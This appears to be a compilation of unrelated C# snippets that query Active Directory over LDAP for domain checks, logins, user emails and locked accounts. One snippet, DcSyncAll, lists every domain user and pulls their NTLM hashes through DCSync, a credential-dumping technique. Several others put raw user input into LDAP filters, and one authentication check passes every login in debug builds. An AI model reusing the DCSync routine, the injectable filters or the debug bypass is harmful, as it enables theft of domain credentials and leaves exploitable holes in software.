private string ObtenerPrimaryDomain(string Dominio, string Usuario, string Clave) { ///'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ///'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' // DESCRIPCION DE VARIABLES LOCALES //strDominio : Nombre del dominio a verificar //objDirectorio : Entrada del directorio //strPath : Ubicación del recurso a buscar en el Active Directory //strItem : Valor de array //strRet : Valor de reotorno //objVerif : Objeto DirectorySearcher que se utiliza para verificar si el dominio // existe //objResultado : Resultado de la búsqueda ///'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' string strDominio = Dominio; System.DirectoryServices.DirectoryEntry objDirectorio = null; string strPath = null; string strItem = null; string strRet = string.Empty; System.DirectoryServices.DirectorySearcher objVerif = default(System.DirectoryServices.DirectorySearcher); System.DirectoryServices.SearchResult objResultado = default(System.DirectoryServices.SearchResult); //Si se envia un nombre de dominio en formato NETBIOS se incorpora la palabra local if (strDominio.IndexOf('.') == -1) { strDominio += ".local"; } strPath = "LDAP://"; foreach (string strItem_loopVariable in strDominio.Split('.')) { strItem = strItem_loopVariable; strPath += "DC="; strPath += strItem; strPath += ","; } strPath = strPath.Substring(0, strPath.Length - 1); try { objDirectorio = new System.DirectoryServices.DirectoryEntry(strPath, Usuario, Clave); objVerif = new System.DirectoryServices.DirectorySearcher(objDirectorio, "(objectClass=domain)"); objResultado = objVerif.FindOne(); if ((objResultado != null)) { strRet = strDominio; } } catch (Exception) { return(""); } finally { objDirectorio.Close(); } return(strRet); }
public DomainPolicy(System.DirectoryServices.DirectoryEntry domainRoot) { string[] policyAttributes = new string[] { "maxPwdAge", "minPwdAge", "minPwdLength", "lockoutDuration", "lockOutObservationWindow", "lockoutThreshold", "pwdProperties", "pwdHistoryLength", "objectClass", "distinguishedName" }; //we take advantage of the marshaling with //DirectorySearcher for LargeInteger values... System.DirectoryServices.DirectorySearcher ds = new System.DirectoryServices.DirectorySearcher(domainRoot, "(objectClass=domainDNS)" , policyAttributes, System.DirectoryServices.SearchScope.Base ); System.DirectoryServices.SearchResult result = ds.FindOne(); //do some quick validation... if (result == null) { throw new System.ArgumentException("domainRoot is not a domainDNS object."); } this.attribs = result.Properties; }
}// end:PublishRMContent() // ------------------ GetGetDefaultWindowsUserName() ------------------ /// <summary> /// Returns the email address of the current user.</summary> /// <returns> /// The email address of the current user.</returns> static internal string GetDefaultWindowsUserName() { // Get the identity of the currently logged in user. System.Security.Principal.WindowsIdentity wi; wi = System.Security.Principal.WindowsIdentity.GetCurrent(); // Get the user's domain and alias. string[] splitUserName = wi.Name.Split('\\'); System.DirectoryServices.DirectorySearcher src = new System.DirectoryServices.DirectorySearcher(); src.SearchRoot = new System.DirectoryServices.DirectoryEntry( "LDAP://" + splitUserName[0]); src.PropertiesToLoad.Add("mail"); src.Filter = String.Format("(&(objectCategory=person) " + "(objectClass=user) (SAMAccountName={0}))", splitUserName[1]); System.DirectoryServices.SearchResult result = src.FindOne(); // Return the email address of the currently logged in user. return ((string)result.Properties["mail"][0]); }// end:GetDefaultWindowsUserName()
public JsonResult SearchUserLDAP() { Boolean userExists = false; System.DirectoryServices.SearchResultCollection sResults = null; string path = "LDAP://201.217.205.157:389/DC =ita, DC=com"; string criterios = "(&(objectClass=user))"; try { System.DirectoryServices.DirectoryEntry dEntry = new System.DirectoryServices.DirectoryEntry(path); System.DirectoryServices.DirectorySearcher dSearcher = new System.DirectoryServices.DirectorySearcher(dEntry); dSearcher.Filter = criterios; sResults = dSearcher.FindAll(); int result = sResults.Count; if (result >= 1) { userExists = true; } else { userExists = false; } } catch (Exception ex) { return(Json(userExists, JsonRequestBehavior.AllowGet)); } return(Json(userExists, JsonRequestBehavior.AllowGet)); }
public JsonResult ValidateLdapUser(string user) { Boolean userExists = false; System.DirectoryServices.SearchResultCollection sResults = null; string path = "LDAP://Falabella.com"; string criterios = "(&(objectClass=user)(samAccountName=" + user + "))"; try { System.DirectoryServices.DirectoryEntry dEntry = new System.DirectoryServices.DirectoryEntry(path); System.DirectoryServices.DirectorySearcher dSearcher = new System.DirectoryServices.DirectorySearcher(dEntry); dSearcher.Filter = criterios; sResults = dSearcher.FindAll(); int result = sResults.Count; if (result >= 1) { userExists = true; } else { userExists = false; } } catch (Exception ex) { return(Json(userExists, JsonRequestBehavior.AllowGet)); } return(Json(userExists, JsonRequestBehavior.AllowGet)); }
private void LDAPQuery(string LDAPUrl, string domain, string userID, string password) { System.Net.Mail.MailAddress mailAddres; System.DirectoryServices.DirectoryEntry directoryEntry; System.DirectoryServices.DirectorySearcher directorySearcher; System.DirectoryServices.SearchResult searchResult; if (this.IsMailAddress(userID, out mailAddres) && mailAddres != null) { userID = mailAddres.User; domain = mailAddres.Host; } if (userID.Contains("\\")) { domain = userID.Substring(0, userID.IndexOf('\\')); userID = userID.Substring(userID.IndexOf('\\') + 1); } directoryEntry = new System.DirectoryServices.DirectoryEntry(LDAPUrl, string.Format("{0}\\{1}", domain, userID), password); directorySearcher = new System.DirectoryServices.DirectorySearcher(directoryEntry); directorySearcher.ClientTimeout = new TimeSpan(3000); directorySearcher.Filter = string.Format("(SAMAccountName={0})", userID); searchResult = directorySearcher.FindOne(); if (searchResult == null) { throw new Exception("Not found Valid User"); } else { Config.Client.SetAttribute("System.DirectoryServices.SearchResult", searchResult); } }
public static string GetUserEmail(WindowsIdentity UserIdentity) { string tempCurrentUserEmail = null; var UserName = UserIdentity.Name; UserName = UserName.Substring(UserName.IndexOf("\\") + 1); var Entry = new System.DirectoryServices.DirectoryEntry("LDAP://RootDSE"); var sFQDN = System.Convert.ToString(Entry.Properties["defaultNamingContext"].Value); var myDE = new System.DirectoryServices.DirectoryEntry("LDAP://" + sFQDN); var mySearcher = new System.DirectoryServices.DirectorySearcher(myDE); mySearcher.Filter = "sAMAccountName=" + UserName; mySearcher.PropertiesToLoad.Add("Mail"); try { var myresult = mySearcher.FindOne(); tempCurrentUserEmail = System.Convert.ToString(myresult.Properties["Mail"][0]); } catch (Exception ex) { throw new ApplicationException("Could not establish an email address for user '" + UserName + "' : " + ex.Message); } return(tempCurrentUserEmail); }
private void Load() { // find the userid in the AD string ldap = LDAP_Server; System.DirectoryServices.DirectoryEntry colleagues = new System.DirectoryServices.DirectoryEntry(ldap, LDAP_UserName, LDAP_Password); System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(colleagues); searcher.Filter = "(&(objectClass=user)(samAccountName=" + _samAccount + "))"; searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree; searcher.PageSize = 9999999; searcher.CacheResults = true; System.DirectoryServices.SearchResultCollection results = null; results = searcher.FindAll(); if (results.Count > 0) { System.DirectoryServices.DirectoryEntry entry = results[0].GetDirectoryEntry(); _name = GetProperty(entry, "displayName"); _office = GetProperty(entry, "physicalDeliveryOfficeName"); _title = GetProperty(entry, "title"); _email = GetProperty(entry, "mail"); _phone = GetProperty(entry, "telephoneNumber"); _hasDirectReports = GetProperty(entry, "extensionAttribute5"); } }
public static IEnumerable <SyncRecord> DcSyncAll(DcSyncAllSettings settings) { if (User.IsSystem()) { throw new InvalidOperationException("Current session is running as SYSTEM, dcsync won't work."); } System.Diagnostics.Debug.Write("[PSH BINDING - DCSYNCALL] User is not running as SYSTEM."); if (string.IsNullOrEmpty(settings.Domain)) { settings.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain().Name; } if (string.IsNullOrEmpty(settings.Domain)) { throw new ArgumentException("Domain parameter must be specified."); } System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Running against domain " + settings.Domain); using (var adRoot = new System.DirectoryServices.DirectoryEntry(string.Format("LDAP://{0}", settings.Domain))) using (var searcher = new System.DirectoryServices.DirectorySearcher(adRoot)) { searcher.SearchScope = System.DirectoryServices.SearchScope.Subtree; searcher.ReferralChasing = System.DirectoryServices.ReferralChasingOption.All; searcher.Filter = "(objectClass=user)"; searcher.PropertiesToLoad.Add("samAccountName"); using (var searchResults = searcher.FindAll()) { System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Search resulted in results: " + searchResults.Count.ToString()); foreach (System.DirectoryServices.SearchResult searchResult in searchResults) { if (searchResult != null) { var username = searchResult.Properties["samAccountName"][0].ToString(); System.Diagnostics.Debug.WriteLine("[PSH BINDING - DCSYNCALL] Found account: " + username); if (settings.IncludeMachineAccounts || !username.EndsWith("$")) { var record = DcSync(string.Format("{0}\\{1}", settings.Domain, username), settings.DomainController, settings.DomainFqdn); if (record != null && (settings.IncludeEmpty || !string.IsNullOrEmpty(record.NtlmHash))) { yield return(record); } } } } } } }
} // End Sub cbIntegratedSecurity_CheckedChanged static void test() { string domainAndUsername = string.Empty; string domain = string.Empty; string userName = string.Empty; string passWord = string.Empty; System.DirectoryServices.AuthenticationTypes at = System.DirectoryServices.AuthenticationTypes.Anonymous; System.Text.StringBuilder sb = new System.Text.StringBuilder(); domain = @"LDAP://w.x.y.z"; domainAndUsername = @"LDAP://w.x.y.z/cn=Lawrence E." + @" Smithmier\, Jr.,cn=Users,dc=corp," + "dc=productiveedge,dc=com"; userName = "******"; passWord = "******"; at = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry(domain, userName, passWord, at); System.DirectoryServices.DirectorySearcher mySearcher = new System.DirectoryServices.DirectorySearcher(entry); System.DirectoryServices.SearchResultCollection results; string filter = "maxPwdAge=*"; mySearcher.Filter = filter; results = mySearcher.FindAll(); long maxDays = 0; if (results.Count >= 1) { long maxPwdAge = (long)results[0].Properties["maxPwdAge"][0]; maxDays = maxPwdAge / -864000000000; } // End if (results.Count >= 1) System.DirectoryServices.DirectoryEntry entryUser = new System.DirectoryServices.DirectoryEntry(domainAndUsername, userName, passWord, at); mySearcher = new System.DirectoryServices.DirectorySearcher(entryUser); results = mySearcher.FindAll(); long daysLeft = 0; if (results.Count >= 1) { var lastChanged = results[0].Properties["pwdLastSet"][0]; daysLeft = maxDays - System.DateTime.Today.Subtract(System.DateTime.FromFileTime((long)lastChanged)).Days; } // End if (results.Count >= 1) System.Console.WriteLine("You must change your password within {0} days", daysLeft); System.Console.ReadLine(); }
public void FindLockedAccounts() { System.DirectoryServices.ActiveDirectory.Forest forest = System.DirectoryServices.ActiveDirectory.Forest.GetCurrentForest(); System.DirectoryServices.ActiveDirectory.DirectoryContext context = null; foreach (System.DirectoryServices.ActiveDirectory.Domain thisDomain in forest.Domains) { string domainName = thisDomain.Name; System.Console.WriteLine(domainName); context = new System.DirectoryServices.ActiveDirectory.DirectoryContext(System.DirectoryServices.ActiveDirectory.DirectoryContextType.Domain, domainName); } // Next thisDomain //get our current domain policy System.DirectoryServices.ActiveDirectory.Domain domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(context); System.DirectoryServices.DirectoryEntry root = domain.GetDirectoryEntry(); // System.DirectoryServices.DirectoryEntry AdRootDSE = new System.DirectoryServices.DirectoryEntry("LDAP://rootDSE"); // string rootdse = System.Convert.ToString(AdRootDSE.Properties["defaultNamingContext"].Value); // System.DirectoryServices.DirectoryEntry root = new System.DirectoryServices.DirectoryEntry(rootdse); DomainPolicy policy = new DomainPolicy(root); //default for when accounts stay locked indefinitely string qry = "(lockoutTime>=1)"; // System.TimeSpan duration = new TimeSpan(0, 30, 0); System.TimeSpan duration = policy.LockoutDuration; if (duration != System.TimeSpan.MaxValue) { System.DateTime lockoutThreshold = System.DateTime.Now.Subtract(duration); qry = string.Format("(lockoutTime>={0})", lockoutThreshold.ToFileTime()); } // End if (duration != System.TimeSpan.MaxValue) System.DirectoryServices.DirectorySearcher ds = new System.DirectoryServices.DirectorySearcher(root, qry); using (System.DirectoryServices.SearchResultCollection src = ds.FindAll()) { foreach (System.DirectoryServices.SearchResult sr in src) { long ticks = (long)sr.Properties["lockoutTime"][0]; System.Console.WriteLine("{0} locked out at {1}", sr.Properties["name"][0], System.DateTime.FromFileTime(ticks)); } // Next sr } // End Using src } // End Sub FindLockedAccounts
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher(); this.metroLabel1 = new MetroFramework.Controls.MetroLabel(); this.metroLabel2 = new MetroFramework.Controls.MetroLabel(); this.SuspendLayout(); // // directorySearcher1 // this.directorySearcher1.ClientTimeout = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01"); this.directorySearcher1.ServerTimeLimit = System.TimeSpan.Parse("-00:00:01"); // // metroLabel1 // this.metroLabel1.AutoSize = true; this.metroLabel1.FontSize = MetroFramework.MetroLabelSize.Tall; this.metroLabel1.Location = new System.Drawing.Point(302, 33); this.metroLabel1.Name = "metroLabel1"; this.metroLabel1.Size = new System.Drawing.Size(82, 25); this.metroLabel1.TabIndex = 0; this.metroLabel1.Text = "Welcome"; // // metroLabel2 // this.metroLabel2.AutoSize = true; this.metroLabel2.FontSize = MetroFramework.MetroLabelSize.Tall; this.metroLabel2.Location = new System.Drawing.Point(182, 95); this.metroLabel2.Name = "metroLabel2"; this.metroLabel2.Size = new System.Drawing.Size(310, 25); this.metroLabel2.TabIndex = 1; this.metroLabel2.Text = "You are successfully login into this site!"; // // HomePage // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(800, 450); this.Controls.Add(this.metroLabel2); this.Controls.Add(this.metroLabel1); this.Name = "HomePage"; this.Text = "HomePage"; this.Load += new System.EventHandler(this.HomePage_Load); this.ResumeLayout(false); this.PerformLayout(); }
private bool AuthenticateUser(string domain, string user, string password) { bool result = false; try { System.DirectoryServices.DirectoryEntry de = new System.DirectoryServices.DirectoryEntry("LDAP://" + domain, user, password); System.DirectoryServices.DirectorySearcher ds = new System.DirectoryServices.DirectorySearcher(de); System.DirectoryServices.SearchResult sr = null; sr = ds.FindOne(); result = true; } catch { result = false; } return(result); }
public HttpResponseMessage getActiveDirectoryUserDetail(HttpRequestMessage request, string loginid) { return(GetHttpResponse(request, () => { HttpResponseMessage response = null; loginid = loginid.Replace("FORWARDSLASHXTER", "/").Trim(); loginid = loginid.Replace("DOTXTER", ".").Trim(); string connection = ConfigurationManager.ConnectionStrings["ADConnectionString"].ToString(); System.DirectoryServices.DirectorySearcher dssearch = new System.DirectoryServices.DirectorySearcher(connection); dssearch.Filter = "(sAMAccountName=" + loginid + ")"; System.DirectoryServices.SearchResult sresult = dssearch.FindOne(); System.DirectoryServices.DirectoryEntry dsresult = sresult.GetDirectoryEntry(); string firstname = Convert.ToString(dsresult.Properties["givenName"].Value); string lastname = Convert.ToString(dsresult.Properties["sn"].Value); //sn means surname //string empid = Convert.ToString(dsresult.Properties["employeeID"].Value); string empid = Convert.ToString(dsresult.Properties["company"].Value); //string empno = Convert.ToString(dsresult.Properties["employeeNumber"].Value); string mail = Convert.ToString(dsresult.Properties["mail"].Value); var ADuserdetail = new UserSetup() { //LoginID = loginid, //Name = "Taiwo", //Email = "*****@*****.**", //StaffID = "empid" LoginID = loginid, Name = firstname + " " + lastname, Email = mail, StaffID = empid }; response = request.CreateResponse <UserSetup>(HttpStatusCode.OK, ADuserdetail); return response; })); }
private void GetAllUsers() { System.DirectoryServices.SearchResultCollection sResulta2 = null; System.DirectoryServices.DirectorySearcher dsBuscador = null; string path = "LDAP://201.217.205.157:389/DC =ita, DC=com"; string criterios = "(&(objectClass=user))"; System.DirectoryServices.DirectoryEntry dEntry = new System.DirectoryServices.DirectoryEntry(path); dsBuscador = new System.DirectoryServices.DirectorySearcher(dEntry); dsBuscador.Filter = "(&(objectCategory=User)(objectClass=person))"; sResulta2 = dsBuscador.FindAll(); foreach (System.DirectoryServices.SearchResult sr in sResulta2) { // Agregar usuarios a combo } }
private static System.Data.DataTable GetDataSourceLDAP(System.String book, System.String connectstring, System.String connectusername, System.String connectpassword, System.String searchfilter, System.String namecolumn, System.String mailcolumn, System.String ownercolumn) { System.Data.DataTable datasource = GetDataSourceDataTable(namecolumn, mailcolumn, ownercolumn, book); System.DirectoryServices.DirectoryEntry direntry = new System.DirectoryServices.DirectoryEntry(connectstring); direntry.Username = connectusername; direntry.Password = connectpassword; System.DirectoryServices.DirectorySearcher dirsearcher = new System.DirectoryServices.DirectorySearcher(direntry); dirsearcher.Filter = searchfilter; dirsearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel; dirsearcher.PropertiesToLoad.Add(namecolumn); dirsearcher.PropertiesToLoad.Add(mailcolumn); System.DirectoryServices.SearchResultCollection results = null; try { results = dirsearcher.FindAll(); } catch (System.Exception e) { if (log.IsErrorEnabled) { log.Error("Error while doing LDAP query", e); } return(null); } System.String name, value; foreach (System.DirectoryServices.SearchResult result in results) { name = null; value = null; if (result.Properties.Contains(namecolumn) && result.Properties.Contains(mailcolumn) && result.Properties[namecolumn].Count > 0 && result.Properties[mailcolumn].Count > 0) { name = result.Properties[namecolumn][0].ToString(); value = result.Properties[mailcolumn][0].ToString(); } if (name != null && value != null) { try { datasource.Rows.Add(new object[] { name, value }); } catch (System.Exception) {} } } return(datasource); }
/// <summary> /// Apply the conversion from username to email address. /// </summary> /// <param name="username">The username.</param> /// <returns>The email address.</returns> public string Convert(string username) { string ldapPath = @"LDAP://" + domainName; string ldapFilter = @"(&(objectClass=user)(SAMAccountName=" + username + "))"; string[] ldapProperties = { ldap_Mail, ldap_QueryField }; System.DirectoryServices.DirectoryEntry domain; if (ldap_LogOnUser.Length > 0) { domain = new System.DirectoryServices.DirectoryEntry(ldapPath, ldap_LogOnUser, ldap_LogOnPassword.PrivateValue); } else { domain = new System.DirectoryServices.DirectoryEntry(ldapPath); } System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(domain); System.DirectoryServices.SearchResult result; searcher.Filter = ldapFilter; searcher.PropertiesToLoad.AddRange(ldapProperties); result = searcher.FindOne(); searcher.Dispose(); // Check the result if (result != null) { return(result.Properties[ldap_Mail][0].ToString()); } else { Core.Util.Log.Debug(string.Format(System.Globalization.CultureInfo.CurrentCulture, "No email adress found for user {0} in domain {1}", username, domainName)); return(null); } }
public bool Authenticate(string domain, string userName, string password, out ActiveDirectoryUser adResult) { adResult = null; string domainAndUsername = domain + @"\" + userName; System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry("LDAP://dis.dk", domainAndUsername, password); try { // Bind to the native AdsObject to force authentication. object obj = entry.NativeObject; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(entry); search.Filter = "(SAMAccountName=" + userName + ")"; search.PropertiesToLoad.Add("DisplayName"); search.PropertiesToLoad.Add("ObjectSID"); System.DirectoryServices.SearchResult result = search.FindOne(); if (null == result) { return(false); } string sid = new SecurityIdentifier((byte[])result.Properties["objectSid"][0], 0).ToString(); adResult = new ActiveDirectoryUser(); adResult.DisplayName = (string)result.Properties["DisplayName"][0]; adResult.UserSID = sid; } catch (Exception ex) { return(false); } return(true); }
public bool IsAuthenticated(Models.ViewModel.LoginViewModel user) { bool bResult = false; string domainAndUsername = @"office\" + user.UserID; try { #if !DEBUG System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry("LDAP://192.168.222.5", domainAndUsername, user.Password); Object obj = entry.NativeObject; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(entry); search.Filter = "(SAMAccountName=" + user.UserID + ")"; search.PropertiesToLoad.Add("cn"); System.DirectoryServices.SearchResult result = search.FindOne(); if (result == null) { bResult = false; } else { bResult = true; } #endif #if DEBUG bResult = true; #endif } catch (Exception ex) { bResult = false; } finally { } return(bResult); }
/// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); this.panelCanvas = new System.Windows.Forms.Panel(); this.groupBoxVideoControls = new System.Windows.Forms.GroupBox(); this.btnStop = new System.Windows.Forms.Button(); this.btnPause = new System.Windows.Forms.Button(); this.btnPlay = new System.Windows.Forms.Button(); this.toolTipTisda = new System.Windows.Forms.ToolTip(this.components); this.btnExportFrames = new System.Windows.Forms.Button(); this.btnExportShotInfo = new System.Windows.Forms.Button(); this.btnSearch = new System.Windows.Forms.Button(); this.btnEditShotInfo = new System.Windows.Forms.Button(); this.btnPlayShot = new System.Windows.Forms.Button(); this.openFileDialog = new System.Windows.Forms.OpenFileDialog(); this.menuStrip = new System.Windows.Forms.MenuStrip(); this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.exitApplicationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.xMLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.calculateRecallAndPrecisionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.groupBoxShots = new System.Windows.Forms.GroupBox(); this.listBoxShots = new System.Windows.Forms.ListBox(); this.textBoxKeyword = new System.Windows.Forms.TextBox(); this.groupBoxCanvas = new System.Windows.Forms.GroupBox(); this.groupBoxShotDetection = new System.Windows.Forms.GroupBox(); this.panelParameters = new System.Windows.Forms.Panel(); this.lblShotDetectionMethod = new System.Windows.Forms.Label(); this.btnDetectShots = new System.Windows.Forms.Button(); this.comboBoxDetectionMethod = new System.Windows.Forms.ComboBox(); this.directorySearcher = new System.DirectoryServices.DirectorySearcher(); this.folderBrowserDialog = new System.Windows.Forms.FolderBrowserDialog(); this.saveFileDialog = new System.Windows.Forms.SaveFileDialog(); this.groupBoxExport = new System.Windows.Forms.GroupBox(); this.groupBoxVideoControls.SuspendLayout(); this.menuStrip.SuspendLayout(); this.statusStrip.SuspendLayout(); this.groupBoxShots.SuspendLayout(); this.groupBoxCanvas.SuspendLayout(); this.groupBoxShotDetection.SuspendLayout(); this.groupBoxExport.SuspendLayout(); this.SuspendLayout(); // // panelCanvas // this.panelCanvas.BackColor = System.Drawing.SystemColors.Desktop; this.panelCanvas.Location = new System.Drawing.Point(115, 24); this.panelCanvas.Name = "panelCanvas"; this.panelCanvas.Size = new System.Drawing.Size(315, 184); this.panelCanvas.TabIndex = 10; // // groupBoxVideoControls // this.groupBoxVideoControls.Controls.Add(this.btnStop); this.groupBoxVideoControls.Controls.Add(this.btnPause); this.groupBoxVideoControls.Controls.Add(this.btnPlay); this.groupBoxVideoControls.Location = new System.Drawing.Point(12, 254); this.groupBoxVideoControls.Name = "groupBoxVideoControls"; this.groupBoxVideoControls.Size = new System.Drawing.Size(273, 62); this.groupBoxVideoControls.TabIndex = 14; this.groupBoxVideoControls.TabStop = false; this.groupBoxVideoControls.Text = "Video controls"; // // btnStop // this.btnStop.Enabled = false; this.btnStop.Image = global::Tisda.Properties.Resources.Stop; this.btnStop.Location = new System.Drawing.Point(95, 15); this.btnStop.Name = "btnStop"; this.btnStop.Size = new System.Drawing.Size(40, 40); this.btnStop.TabIndex = 12; this.btnStop.UseVisualStyleBackColor = true; this.btnStop.Click += new System.EventHandler(this.btnStop_Click); // // btnPause // this.btnPause.Enabled = false; this.btnPause.Image = global::Tisda.Properties.Resources.Pause; this.btnPause.Location = new System.Drawing.Point(50, 15); this.btnPause.Name = "btnPause"; this.btnPause.Size = new System.Drawing.Size(40, 40); this.btnPause.TabIndex = 11; this.toolTipTisda.SetToolTip(this.btnPause, "Pause video"); this.btnPause.Click += new System.EventHandler(this.btnPause_Click); // // btnPlay // this.btnPlay.Enabled = false; this.btnPlay.Image = global::Tisda.Properties.Resources.Play; this.btnPlay.Location = new System.Drawing.Point(5, 15); this.btnPlay.Name = "btnPlay"; this.btnPlay.Size = new System.Drawing.Size(40, 40); this.btnPlay.TabIndex = 1; this.toolTipTisda.SetToolTip(this.btnPlay, "Play video"); this.btnPlay.Click += new System.EventHandler(this.btnStart_Click); // // btnExportFrames // this.btnExportFrames.Enabled = false; this.btnExportFrames.Image = global::Tisda.Properties.Resources.ExportFrames; this.btnExportFrames.Location = new System.Drawing.Point(50, 15); this.btnExportFrames.Name = "btnExportFrames"; this.btnExportFrames.Size = new System.Drawing.Size(40, 40); this.btnExportFrames.TabIndex = 25; this.toolTipTisda.SetToolTip(this.btnExportFrames, "Export frames"); this.btnExportFrames.UseVisualStyleBackColor = true; this.btnExportFrames.Click += new System.EventHandler(this.btnExportFrames_Click); // // btnExportShotInfo // this.btnExportShotInfo.Enabled = false; this.btnExportShotInfo.Image = global::Tisda.Properties.Resources.ExportShotInfo; this.btnExportShotInfo.Location = new System.Drawing.Point(5, 15); this.btnExportShotInfo.Name = "btnExportShotInfo"; this.btnExportShotInfo.Size = new System.Drawing.Size(40, 40); this.btnExportShotInfo.TabIndex = 24; this.toolTipTisda.SetToolTip(this.btnExportShotInfo, "Export shot info"); this.btnExportShotInfo.UseVisualStyleBackColor = true; this.btnExportShotInfo.Click += new System.EventHandler(this.btnExportShotInfo_Click); // // btnSearch // this.btnSearch.Enabled = false; this.btnSearch.Image = global::Tisda.Properties.Resources.Search; this.btnSearch.Location = new System.Drawing.Point(219, 19); this.btnSearch.Name = "btnSearch"; this.btnSearch.Size = new System.Drawing.Size(40, 25); this.btnSearch.TabIndex = 28; this.toolTipTisda.SetToolTip(this.btnSearch, "Retrieve shots with keyword"); this.btnSearch.UseVisualStyleBackColor = true; this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); // // btnEditShotInfo // this.btnEditShotInfo.Enabled = false; this.btnEditShotInfo.Image = global::Tisda.Properties.Resources.Edit; this.btnEditShotInfo.Location = new System.Drawing.Point(219, 99); this.btnEditShotInfo.Name = "btnEditShotInfo"; this.btnEditShotInfo.Size = new System.Drawing.Size(40, 40); this.btnEditShotInfo.TabIndex = 26; this.toolTipTisda.SetToolTip(this.btnEditShotInfo, "Edit shot info"); this.btnEditShotInfo.UseVisualStyleBackColor = true; this.btnEditShotInfo.Click += new System.EventHandler(this.btnEditShotInfo_Click); // // btnPlayShot // this.btnPlayShot.Enabled = false; this.btnPlayShot.Image = global::Tisda.Properties.Resources.Play; this.btnPlayShot.Location = new System.Drawing.Point(219, 53); this.btnPlayShot.Name = "btnPlayShot"; this.btnPlayShot.Size = new System.Drawing.Size(40, 40); this.btnPlayShot.TabIndex = 23; this.toolTipTisda.SetToolTip(this.btnPlayShot, "Play shot"); this.btnPlayShot.UseVisualStyleBackColor = true; this.btnPlayShot.Click += new System.EventHandler(this.btnPlayShot_Click); // // openFileDialog // this.openFileDialog.FileName = "openFileDialog"; // // menuStrip // this.menuStrip.BackColor = System.Drawing.SystemColors.Control; this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.fileToolStripMenuItem, this.xMLToolStripMenuItem}); this.menuStrip.Location = new System.Drawing.Point(0, 0); this.menuStrip.Name = "menuStrip"; this.menuStrip.Size = new System.Drawing.Size(569, 24); this.menuStrip.TabIndex = 16; this.menuStrip.Text = "menuStrip"; // // fileToolStripMenuItem // this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.openToolStripMenuItem, this.exitApplicationToolStripMenuItem}); this.fileToolStripMenuItem.Name = "fileToolStripMenuItem"; this.fileToolStripMenuItem.Size = new System.Drawing.Size(37, 20); this.fileToolStripMenuItem.Text = "File"; // // openToolStripMenuItem // this.openToolStripMenuItem.Name = "openToolStripMenuItem"; this.openToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.openToolStripMenuItem.Text = "Open.."; this.openToolStripMenuItem.Click += new System.EventHandler(this.openToolStripMenuItem_Click); // // exitApplicationToolStripMenuItem // this.exitApplicationToolStripMenuItem.Name = "exitApplicationToolStripMenuItem"; this.exitApplicationToolStripMenuItem.Size = new System.Drawing.Size(152, 22); this.exitApplicationToolStripMenuItem.Text = "Quit"; this.exitApplicationToolStripMenuItem.ToolTipText = "Thank you! Come again..."; this.exitApplicationToolStripMenuItem.Click += new System.EventHandler(this.exitApplicationToolStripMenuItem_Click); // // xMLToolStripMenuItem // this.xMLToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.calculateRecallAndPrecisionToolStripMenuItem}); this.xMLToolStripMenuItem.Name = "xMLToolStripMenuItem"; this.xMLToolStripMenuItem.Size = new System.Drawing.Size(87, 20); this.xMLToolStripMenuItem.Text = "Performance"; // // calculateRecallAndPrecisionToolStripMenuItem // this.calculateRecallAndPrecisionToolStripMenuItem.Name = "calculateRecallAndPrecisionToolStripMenuItem"; this.calculateRecallAndPrecisionToolStripMenuItem.Size = new System.Drawing.Size(215, 22); this.calculateRecallAndPrecisionToolStripMenuItem.Text = "Recall and precision values"; this.calculateRecallAndPrecisionToolStripMenuItem.Click += new System.EventHandler(this.calculateRecallAndPrecisionToolStripMenuItem_Click); // // toolStripStatusLabel // this.toolStripStatusLabel.Name = "toolStripStatusLabel"; this.toolStripStatusLabel.Size = new System.Drawing.Size(113, 17); this.toolStripStatusLabel.Text = "No video loaded yet"; // // statusStrip // this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel}); this.statusStrip.Location = new System.Drawing.Point(0, 539); this.statusStrip.Name = "statusStrip"; this.statusStrip.Size = new System.Drawing.Size(569, 22); this.statusStrip.TabIndex = 19; this.statusStrip.Text = "statusStrip1"; // // groupBoxShots // this.groupBoxShots.Controls.Add(this.listBoxShots); this.groupBoxShots.Controls.Add(this.btnSearch); 